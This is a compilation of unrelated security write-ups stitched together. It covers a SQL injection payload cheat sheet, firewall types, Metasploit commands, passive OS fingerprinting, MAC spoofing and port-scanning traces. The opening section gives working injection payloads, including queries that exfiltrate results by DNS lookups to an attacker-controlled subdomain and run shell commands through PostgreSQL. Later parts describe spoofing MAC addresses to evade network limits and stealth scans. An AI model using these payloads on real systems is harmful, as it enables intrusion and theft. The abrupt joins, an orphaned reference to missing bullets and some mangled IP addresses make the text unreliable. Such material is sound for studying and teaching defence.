This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.
You can concatenate together multiple strings to make a single string.
'foo' 'bar' [Note the space between the two strings] CONCAT('foo','bar')
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.
SUBSTR('foobar', 4, 2)
SUBSTRING('foobar', 4, 2)
SUBSTRING('foobar', 4, 2)
SUBSTRING('foobar', 4, 2)
You can use comments to truncate a query and remove the portion of the original query that follows your input.
#comment -- comment [Note the space after the double dash] /*comment*/
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
SELECT banner FROM v$version SELECT version FROM v$instance
You can list the tables that exist in the database, and the columns that those tables contain.
SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
You can test a single boolean condition and trigger a database error if the condition is true.
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Batched (or stacked) queries
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Does not support batched queries.
Does not support batched queries.
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
WAITFOR DELAY '0:0:10'
Conditional time delays
You can test a single boolean condition and trigger a time delay if the condition is true.
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.
The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence: SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
The following techniques work on Windows only: LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
DNS lookup with data exfiltration
You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net'''; execute c; END; $$ language plpgsql security definer; SELECT f();
The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
Note: The last three bullets list methods of delivering firewall functionality, rather than being types of firewall architectures in and of themselves.
How do these firewalls work? And, which ones are the best for your business’ cybersecurity needs?
Here are a few brief explainers:
As the most “basic” and oldest type of firewall architecture, packet-filtering firewalls basically create a checkpoint at a traffic router or switch. The firewall performs a simple check of the data packets coming through the router—inspecting information such as the destination and origination IP address, packet type, port number, and other surface-level information without opening up the packet to inspect its contents.
If the information packet doesn’t pass the inspection, it is dropped.
The good thing about these firewalls is that they aren’t very resource-intensive. This means they don’t have a huge impact on system performance and are relatively simple. However, they’re also relatively easy to bypass compared to firewalls with more robust inspection capabilities.
As another simplistic firewall type that is meant to quickly and easily approve or deny traffic without consuming significant computing resources, circuit-level gateways work by verifying the transmission control protocol (TCP) handshake. This TCP handshake check is designed to make sure that the session the packet is from is legitimate.
While extremely resource-efficient, these firewalls do not check the packet itself. So, if a packet held malware, but had the right TCP handshake, it would pass right through. This is why circuit-level gateways are not enough to protect your business by themselves.
Stateful Inspection Firewalls
These firewalls combine both packet inspection technology and TCP handshake verification to create a level of protection greater than either of the previous two architectures could provide alone.
However, these firewalls do put more of a strain on computing resources as well. This may slow down the transfer of legitimate packets compared to the other solutions.
Proxy firewalls operate at the application layer to filter incoming traffic between your network and the traffic source—hence, the name “application-level gateway.” These firewalls are delivered via a cloud-based solution or another proxy device. Rather than letting traffic connect directly, the proxy firewall first establishes a connection to the source of the traffic and inspects the incoming data packet.
This check is similar to the stateful inspection firewall in that it looks at both the packet and at the TCP handshake protocol. However, proxy firewalls may also perform deep-layer packet inspections, checking the actual contents of the information packet to verify that it contains no malware.
Once the check is complete, and the packet is approved to connect to the destination, the proxy sends it off. This creates an extra layer of separation between the “client” (the system where the packet originated) and the individual devices on your network—obscuring them to create additional anonymity and protection for your network.
If there’s one drawback to proxy firewalls, it’s that they can create significant slowdown because of the extra steps in the data packet transferal process.
Many of the most recently-released firewall products are being touted as “next-generation” architectures. However, there is not as much consensus on what makes a firewall truly next-gen.
Some common features of next-generation firewall architectures include deep-packet inspection (checking the actual contents of the data packet), TCP handshake checks, and surface-level packet inspection. Next-generation firewalls may include other technologies as well, such as intrusion prevention systems (IPSs) that work to automatically stop attacks against your network.
The issue is that there is no one definition of a next-generation firewall, so it’s important to verify what specific capabilities such firewalls have before investing in one.
Software firewalls include any type of firewall that is installed on a local device rather than a separate piece of hardware (or a cloud server). The big benefit of a software firewall is that it’s highly useful for creating defense in depth by isolating individual network endpoints from one another.
However, maintaining individual software firewalls on different devices can be difficult and time-consuming. Furthermore, not every device on a network may be compatible with a single software firewall, which may mean having to use several different software firewalls to cover every asset.
Hardware firewalls use a physical appliance that acts in a manner similar to a traffic router to intercept data packets and traffic requests before they’re connected to the network’s servers. Physical appliance-based firewalls like this excel at perimeter security by making sure malicious traffic from outside the network is intercepted before the company’s network endpoints are exposed to risk.
The major weakness of a hardware-based firewall, however, is that it is often easy for insider attacks to bypass them. Also, the actual capabilities of a hardware firewall may vary depending on the manufacturer—some may have a more limited capacity to handle simultaneous connections than others, for example.
Whenever a cloud solution is used to deliver a firewall, it can be called a cloud firewall, or firewall-as-a-service (FaaS). Cloud firewalls are considered synonymous with proxy firewalls by many, since a cloud server is often used in a proxy firewall setup (though the proxy doesn’t necessarily have to be on the cloud, it frequently is).
The big benefit of having cloud-based firewalls is that they are very easy to scale with your organization. As your needs grow, you can add additional capacity to the cloud server to filter larger traffic loads. Cloud firewalls, like hardware firewalls, excel at perimeter security.
class-dump is a command-line utility for examining the Objective-C runtime information stored in Mach-O files. It generates declarations for the classes, categories and protocols. This is the same information provided by using ‘otool -ov’, but presented as normal Objective-C declarations, so it is much more compact and readable.
ipash ME (Micro Edition) – the missing command line shell for iPhone! Manage your iPhone and files from command
Keychain is the password management system in macOS, developed by Apple.
IDA Pro is a disassembler, debugger, interactive. It is a piece of software used to translate machine code into a human readable format called assembly language. It is available for Windows, Linux, MacOS
The Metasploit Project is a computer security project that provides information on vulnerabilities, helping in the development of penetration tests and IDS signatures.
Metasploit is a popular tool used by pentest experts. I have prepared a document for you to learn.
Search for module:
msf > search [regex]
Specify and exploit to use:
msf > use exploit/[ExploitPath]
Specify a Payload to use:
msf > set PAYLOAD [PayloadPath]
Show options for the current modules:
msf > show options
msf > set [Option] [Value]
msf > exploit
Useful Auxiliary Modules
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run
msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run
msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run
msf > use auxiliary/server/socks4
msf > run
The msfvenom tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files and optionally encode them. This tool replaces the former msfpayload and msfencode tools. Run with ‘’-l payloads’ to get a list of payloads.
Passive OS fingerprinting is the examination of a passively collected sample of packets from a host in order to determine its operating system platform. It is called passive because it doesn’t involve communicating with the host being examined. This technique is preferred by those on the defensive side of the fence because those individuals are typically viewing hosts from the perspective of a network intrusion detection system or a firewall. This will typically mean that there is some level of access to capture packets generated by the host in order to perform the examination of that data.
Given a passive collection scenario, let’s examine two individual packets collected from two separate hosts.
Figure 1: Packet from Host A
Figure 2: Packet from Host B
Before we begin looking at the differences in these packets, let’s go ahead and see what they have in common. First, we can easily determine that both hosts are sending a TCP packet to another host. The TCP packet has only the SYN flag set, so this should be the first packet in a sequence of communication. Both hosts are sending their packets to the destination port 80, so we will assume that this is attempted communication with a web server.
Now we can start to look at a couple of things that differ between the two packets. The first thing that jumps out to most people is that Host A mentions having an invalid checksum. In this case, that is actually normal based upon the test environment the packet was captured in, so that can be ignored. Beyond that, we can discern a couple of interest variances. Let’s step through these differences and then we will try and draw some conclusions about the host that sent each packet.
Time to Live
The first variance in the two packets is the Time to Live (TTL) value. We’ve discussed that the RFC documentation defines the TTL field as a means to define the maximum time a packet can remain in transit on a network until it is discarded. The RFC doesn’t define a default value, and as such, different operating systems use different default values. In this case, we can note that packet A uses a TTL of 128, and packet B uses a TTL of 64. Remember that these packets were captured directly from the transmitting source. If you were capturing these packets from the perspective of the recipient, you would see varying numbers depending on how many router hops are in between the source and destination. For instance, instead of a TTL of 128, you may see a value of 116. Generally, it’s safe to assume that if you see a number close to 128 or 64, then the default TTL was most likely one of these two.
I mentioned earlier that these two packets are performing the exact same function. That might lead you to assume that they would be the exact same size, but that’s not the case. Packet A reports its length as 52 bytes, whereas packet B reports a length of 60 bytes. That means that the source host transmitting packet B added an additional 8 bytes to its SYN packet.
The source of these extra bytes can be found in the TCP header portion of the packet. The TCP header is variable length. This means that according to specification, each and every packet containing a TCP header must include a certain number of required fields, but may optionally include a few other fields if they are needed. These additional fields are referred to as TCP Options.
In packet A, there are three TCP options set. These are the Maximum Segment Size, Window Scale, and TCP SACK Permitted options. There are also a few bytes of padding that make up a total of 12 bytes of TCP options.
Figure 3: TCP Header of Packet A
In packet B, we have those same options, with the addition of the Timestamp option (which also replaces a few of the padding bytes we see in packet A).
Figure 4: TCP Header of Packet B
The timestamp option accounts for the additional 8 bytes of data in the packet sent from Host B. Both packets still perform the same function, the packet from host B just provides a bit more information about the host that created and transmitted it.
Making a Determination
Now that we’ve pointed out a few differences between the packets, we can try and determine the source operating system of each machine. In an effort to narrow things down about, I will go ahead and tell you that one is a Windows device and the other is a Linux device. In order to determine which packet belongs with which OS, you can either deploy both operating systems in a test environment and do the research yourself, or look at a chart that someone has already prepared for you.
Figure 5: A brief OS fingerprinting chart
The chart above is a very brief version of a more detailed chart put out by the SANS Institute. Based on this chart, we can determine that Host A is a Windows device, and Host B is a Linux device.
With all of that said, it’s important to mention that passive fingerprinting isn’t always an exact science. We tend to group these values into their respective operating system family (Windows, Linux, etc), when in reality, a Fedora Linux device may produce a different packet size by default than a SuSe Linux device. In addition, a lot of these values are configurable whether it is by modifying a configuration file or the system registry. This means that although a Windows device may typically have a certain TCP Receive Window size by default, a simple registry modification could chance this behavior and fool our attempts at fingerprinting the OS.
Overall, there are all sorts of weird protocol quirks and default values of particular fields that can be used to passively fingerprint a system with packets alone. With this knowledge, you should be able to do a little bit of experimentation yourself to see what variances you can find between systems.
In this article, we’ve discussed passive OS fingerprinting and gone through an example where we’ve compared to similar packets sent from devices using different operating systems. In the next article in this series, we will talk about active OS fingerprinting and how the responses networked devices give to certain types of packets can help us clue in on their running operating system.
MAC spoofing is using configuration controls to set a different MAC address for a router or laptop so it appears to the network as a device which is known. It used to be that this was required to put a router instead of a PC on a ISP connection – because it was locked down to a specific PC and the ISP would charge extra for each additional MAC address which appeared to be connected. Connecting a router was completely forbidden.
ARP poisoning is where you have a program which is actively sending out unsolicited ARP packets on the network to try to capture the traffic for a device. By altering the ARP table in other devices on the network, they can be forced to send traffic to a monitoring device instead of a router, for example. An ARP cache is used to translate between an IP address and a MAC address on a local network.
What are the advantages of MAC spoofing?
Staying anonymous on the network: consider a situation when you are spoofing an ip address in a network. But before that you must have authenticated to the network using a MAC address (which hasn’t changed even after changing your ip address to spoofed one). So, a person intercepting the network can easily find out who you really are by looking at the MAC addresses.
Device Identification: Many airport Wi-Fi networks and other public Wi-Fi networks use a device’s MAC address to identify it. For example, an airport Wi-Fi network might offer a free 30 minutes and then ban your MAC address from receiving more Wi-Fi. Change your MAC address and you may get more Wi-Fi.
MAC filtering: Many networks employ MAC address filtering, only allowing devices with specific MAC addresses to connect to a network. Spoofing an allowed MAC address may give you access to the network.
MAC Authentication: In many colleges and institutions only one device per person is allowed to access the free wifi. This restriction may be based on MAC address filtering, so spoofing the MAC address may allow to use more than one devices when you are allowed to use just one.
Device Tracking: Many free wifi companies may use MAC address to track your movements. Randomizing your mac address may help prevent this type of tracking.
The simplest port scans are ping scans. A ping is an Internet Control Message Protocol (ICMP) echo request – you are looking for any ICMP replies, which indicates that the target is alive. A ping scan is an automated blast of many ICMP echo requests to different targets to see who responds.
Administrators usually disable ping either on the firewall or on the router. It’s quick and easy to turn off this functionality and make it impossible to scout the network this way. However, ping is a good troubleshooting tool, and turning it off makes tracking down network problems a little more difficult.
One of the more common and popular port scanning techniques is the TCP Half-Open port scan, sometimes referred to as SYN scan. It’s a fast and sneaky scan that tries to find potential open ports on the target computer. This scan is fast because it never completes the full TCP 3 way-handshake. The scanner sends a SYN message and just notes the SYN-ACK responses. The scanner doesn’t complete the connection by sending the final ACK: it leaves the target hanging.
Any SYN-ACK responses are possible connections:
An RST(reset) response means the port is closed, but there is a live computer here. (Blocked Port)
No responses indicate SYN is filtered on the network. (Stealth Ports)
Any SYN-ACK replies are a quick way cybercriminals can find the next potential target. (Open Port)
This port scanning technique is basically the same as the TCP Half-Open scan, but instead of leaving the target hanging, the port scanner completes the TCP connection.
It’s not as popular a technique as the TCP Half-Open. First, you have to send one more packet per scan, which increases the amount of noise you are making on the network.* Second, since you complete the connection with the target, you might trip an alarm that the Half-Open scan wouldn’t.
* Technical jargon: “Noisy” programs are programs that send large numbers of packets around the network. You might also hear them referred to as “chatty.”
Sometimes a hacker (whitehat or blackhat) wants to run a port scan that is even quieter and less obvious than the other kinds of scans. Thankfully, TCP includes some flags that allow you to do just that.
When you send a port scan with a packet and the FIN flag, you are sending the packet and not expecting a response. If you do get an RST you can assume that the port is closed. If you get nothing back that indicates the port is open. Firewalls are looking for SYN packets, so FIN packets slip through undetected.
The X-MAS scan sends a packet with the FIN, URG, and PUSH flags, and expects an RST or no response, just like the FIN scan. There isn’t much practical use for this scan, but it does make the packet resemble a Christmas tree, so there is that. You can also send packets with no flags, called a NULL packet, and the response is either an RST or nothing.
The good thing – for the hacker – about these scans is that they don’t usually show up in logs. More recent Intrusion Detection Software (IDS) and of course WireShark will catch these scans. The bad news is that if the target is a Microsoft OS, you will only see closed ports – but if you do find an open port you can assume that it’s not a Windows machine. The biggest advantage of using these flags is that they can slip past the firewall, which makes the results more reliable.
TCP ACK Scan
TCP ACK Scan sends an ACK packet to the target port in order to determine whether the port is filtered or unfiltered. For unfiltered ports a RST reply packet will be sent for both open and closed ports. Filtered ports will result in either no response or an ICMP destination unreachable reply packet.
This approach is useful to get through stateless firewalls which block incoming connections by blocking incoming SYN packets, but allowing ACK packets to get through to allow internal hosts to communicate with the rest of the internet. TCP ACK will not work with stateful firewalls.
# Sending ACK packet to the target on port 80 0.425238 192.168.1.100 -> 188.8.131.52 TCP 63851 > www [ACK] Seq=0 Ack=0 Win=2048 Len=0 # We have received RST back meaning the port is unfiltered 0.459511 184.108.40.206 -> 192.168.1.100 TCP www > 63851 [RST] Seq=0 Len=0
# Sending ACK packet to the target on port 666 1.728128 192.168.1.100 -> 220.127.116.11 TCP 46985 > 666 [ACK] Seq=0 Ack=0 Win=4096 Len=0 # We have received no response so we try one more time and give up. 1.908035 192.168.1.100 -> 18.104.22.168 TCP 46986 > 666 [ACK] Seq=0 Ack=0 Win=3072 Len=0
NOTE: google.com is sending responses contrary to the expected RST packet for filtered ports (666) and no response for unfiltered ports (80) indicating the use of a stateful firewall.
TCP Window Scan
Originally introduced by Uriel Maimon, TCP Window Scan attempts to deduce whether the port is open or closed based on the Window Size and ttl returned by the target host.
A positive window size serves as an indicator for an open port while a zero size window indicates a closed port.
At the same time if the returning packet’s ttl is lower compared to the rest of the received RST packets the port is also likely to be open.
Although this applies to the majority of machines on the internet, a small number of systems will actually return the reverse — zero for open ports and positive number for closed ports.
It was a lot harder to find systems which would identify open ports with positive window sizes; however, there were plenty of systems which returned RST for closed ports or no response at all indicating a filtered port.
As suggested by Antirez in buqtraq, idle scan relies on the predictability of IPID sequence numbers. It works be continuously sampling the current IPID sequence number on a zombie system while forging packets from a zombie to an actual target.
Zombie systems can be chosen based on their low traffic and predictable IPID sequence numbers. The attack begins when a SYN packet is forged on behalf of a zombie system and sent to the port on a target system. When the target system receives a forged SYN packet it will reply with SYN/ACK to the zombie host. Since zombie host did not expect the incoming SYN/ACK packet, it will generate a RST packet back to the target host thus incrementing its IPID by one. On the other hand, if the port on the target host is closed a RST packet will be sent to the zombie host which will be quietly dropped and will not result in an increment.
At last we have to sample the zombie system once again to determine by how much IPID number was incremented while taking into account that our sample request will result in an additional IPID increase. In our final sample if the zombie’s IPID counter was incremented by two the target port is indeed open; however, if the IPID counter was incremented only by one the target port is closed.
Idlescan offers the ultimate solution in stealthy port scanning since no packets are transmitted between the scanner machine and the target. In addition to stealth capabilities, this technique allows for mapping of trusted machines useful in bypassing firewall rules.
In this packet trace we will use a local machine 192.168.1.104 as a zombie to scan google.com on port 80.
# First we send SYN/ACK multiple times to the zombie machine to confirm IPIDs are indeed predictable
# in this case they are because for every response they increment by one (2330,2331,2332,2333)
0.454789 192.168.1.100 192.168.1.104 TCP 53007 > www [SYN, ACK] Seq=0 Ack=0 Win=3072 Len=0 MSS=1460 ID=15461
0.454911 192.168.1.104 192.168.1.100 TCP www > 53007 [RST] Seq=0 Len=0 ID=23330
0.486616 192.168.1.100 192.168.1.104 TCP 53008 > www [SYN, ACK] Seq=0 Ack=0 Win=1024 Len=0 MSS=1460 ID=39449
0.486702 192.168.1.104 192.168.1.100 TCP www > 53008 [RST] Seq=0 Len=0 ID=23331
0.522368 192.168.1.100 192.168.1.104 TCP 53009 > www [SYN, ACK] Seq=0 Ack=0 Win=2048 Len=0 MSS=1460 ID=17487
0.522449 192.168.1.104 192.168.1.100 TCP www > 53009 [RST] Seq=0 Len=0 ID=23332
0.554631 192.168.1.100 192.168.1.104 TCP 53010 > www [SYN, ACK] Seq=0 Ack=0 Win=4096 Len=0 MSS=1460 ID=25705
0.554718 192.168.1.104 192.168.1.100 TCP www > 53010 [RST] Seq=0 Len=0 ID=23333
# Next we forge a packet destined for the target host that appears to be coming from the
# zombie machine.
1.082869 192.168.1.104 22.214.171.124 TCP www > www [SYN] Seq=0 Len=0 MSS=1460 ID=38548
# At the same time we will try to sample the current IPID on the zombie which is 2334
1.134610 192.168.1.100 192.168.1.104 TCP 53128 > www [SYN, ACK] Seq=0 Ack=0 Win=4096 Len=0 MSS=1460 ID=34914
1.134696 192.168.1.104 192.168.1.100 TCP www > 53128 [RST] Seq=0 Len=0 ID=23334
# Google.com is now responding to the zombie machine with TCP/ACK attempting to complete a three-way handshake
1.155557 126.96.36.199 192.168.1.104 TCP www > www [SYN, ACK] Seq=0 Ack=1 Win=8190 Len=0 MSS=1460 ID=8303
1.155656 188.8.131.52 192.168.1.104 TCP www > www [SYN, ACK] Seq=0 Ack=1 Win=8190 Len=0 MSS=1460 ID=8303
# Since zombie machine has never sent out the SYN request it responds with RST while
# at the same time incrementing its counter by one.
1.155730 192.168.1.104 184.108.40.206 TCP www > www [RST] Seq=1 Len=0 ID=23335
1.155769 192.168.1.104 220.127.116.11 TCP www > www [RST] Seq=1 Len=0 ID=23335
# Once again we sample the current IPID on the zombie machine and determine that it is 2336 meaning that it was
# incremented by 2 since our last recorded sample was 2334. This means that the zombie machine has responded
# with RST to SYN/ACK coming from an open port on the target machine.
1.270610 192.168.1.100 192.168.1.104 TCP 53185 > www [SYN, ACK] Seq=0 Ack=0 Win=3072 Len=0 MSS=1460 ID=16667
1.270698 192.168.1.104 192.168.1.100 TCP www > 53185 [RST] Seq=0 Len=0 ID=23336
FTP Bounce Scan
FTP Bounce Scan relies on a weakness in FTP protocol which allows requests made to FTP servers to establish other FTP connections on behalf of the client. This allows ftp client to scan other hosts by first bouncing requests from a vulnerable FTP Server using PORT command. For ports on the vulnerable system that are open we will get “Transfer OK” response while for closed ports we will receive “Can’t open data connection” response. This is explained in detail in RFC959:
DATA PORT (PORT)
The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be:
where h1 is the high order 8 bits of the internet host address.
In another situation a user might wish to transfer files between two hosts, neither of which is a local host. The user sets up control connections to the two servers and then arranges for a data connection between them. In this manner, control information is passed to the user-PI but data is transferred between the server data transfer processes.
This scanning approach is stealthy although it requires the presence of a vulnerable FTP Server.
In the example below the following machines will be used to simulate FTP Bounce Scan:
192.168.1.100 is the scanner
192.168.1.250 is a vulnerable FTP Server allowing proxy connections
# Now we request a proxy connection to be made for us to the target 192.168.1.1 system # on port 443 (1,187 translates to 256 + 187 = 443) 9.066781 192.168.1.100 192.168.1.250 FTP Request: PORT 192,168,1,1,1,187 9.068027 192.168.1.250 192.168.1.100 FTP Response: 200 Port command successful 9.068169 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=57 Ack=113 Win=5840 Len=0 TSV=2168689 TSER=97398 9.068700 192.168.1.100 192.168.1.250 FTP Request: LIST
# FTP Server is now attempting to establish a connection to the target system on port 443 9.070580 192.168.1.250 192.168.1.1 TCP 1249 > https [SYN] Seq=0 Len=0 MSS=1460 9.071345 192.168.1.1 192.168.1.250 TCP https > 1249 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460 9.071380 192.168.1.250 192.168.1.1 TCP 1249 > https [ACK] Seq=1 Ack=1 Win=17520 Len=0
# Connection was successfully established so FTP attempts to communicate with the target system 9.071491 192.168.1.250 192.168.1.100 FTP Response: 150 Opening data channel for directory list. 9.071581 192.168.1.250 192.168.1.1 SSL Continuation Data 9.071618 192.168.1.250 192.168.1.1 TCP 1249 > https [FIN, ACK] Seq=137 Ack=1 Win=17520 Len=0 9.072143 192.168.1.1 192.168.1.250 TCP https > 1249 [ACK] Seq=1 Ack=137 Win=5840 Len=0 9.074239 192.168.1.1 192.168.1.250 TCP https > 1249 [RST, ACK] Seq=1 Ack=138 Win=5840 Len=0 9.110608 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=63 Ack=159 Win=5840 Len=0 TSV=2168700 TSER=97398
# FTP Server confirms to us that the port is indeed open with the Transfer ok response 9.110674 192.168.1.250 192.168.1.100 FTP Response: 226 Transfer ok 9.110759 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=63 Ack=176 Win=5840 Len=0 TSV=2168700 TSER=97399
# FTP Server is now attempting to establish a connection to the target system on port 442 9.118678 192.168.1.100 192.168.1.250 FTP Request: PORT 192,168,1,1,1,186 9.118953 192.168.1.250 192.168.1.100 FTP Response: 200 Port command successful 9.126485 192.168.1.100 192.168.1.250 FTP Request: LIST
# FTP Server lets us know that it couldn't establish the connection to the closed port 10.080471 192.168.1.250 192.168.1.100 FTP Response: 425 Can't open data connection. 10.118633 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=93 Ack=238 Win=5840 Len=0 TSV=2168952 TSER=97409 10.231082 192.168.1.100 192.168.1.250 TCP 46625 > ftp [FIN, ACK] Seq=93 Ack=238 Win=5840 Len=0 TSV=2168980 TSER=97409 10.231157 192.168.1.250 192.168.1.100 TCP ftp > 46625 [ACK] Seq=238 Ack=94 Win=17428 Len=0 TSV=97410 TSER=2168980 10.231944 192.168.1.250 192.168.1.100 TCP ftp > 46625 [FIN, ACK] Seq=238 Ack=94 Win=17428 Len=0 TSV=97410 TSER=2168980 10.232022 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=94 Ack=239 Win=5840 Len=0 TSV=2168980 TSER=97410
UDP is the other half of our “hallway” and some standard services – DNS, SNMP, DHCP for example – use UDP ports instead of TCP ports. When you run a UDP port scan, you send either an empty packet or a packet that has a different payload per port, depending on your use case.
The trick with a UDP scan is that you will only get a response if the port is closed, which means you might know that there is a computer there. Depending on which port responded you might know that it has DNS or SNMP running, but that’s pretty much it. No response means that either the port is open or it’s filtered, and you might have to run the scan more than once before you figure anything out about the target. You could be waiting a while to get a response that might never come.
One more logical use of a UDP scan is to send a DNS request to UDP port 53 and see if you get a DNS reply. If you do get a reply, you know that there is a DNS server on that computer. A UDP scan can be useful to scout for active services that way, and the nmap port scanner is preconfigured to send requests for many standard services.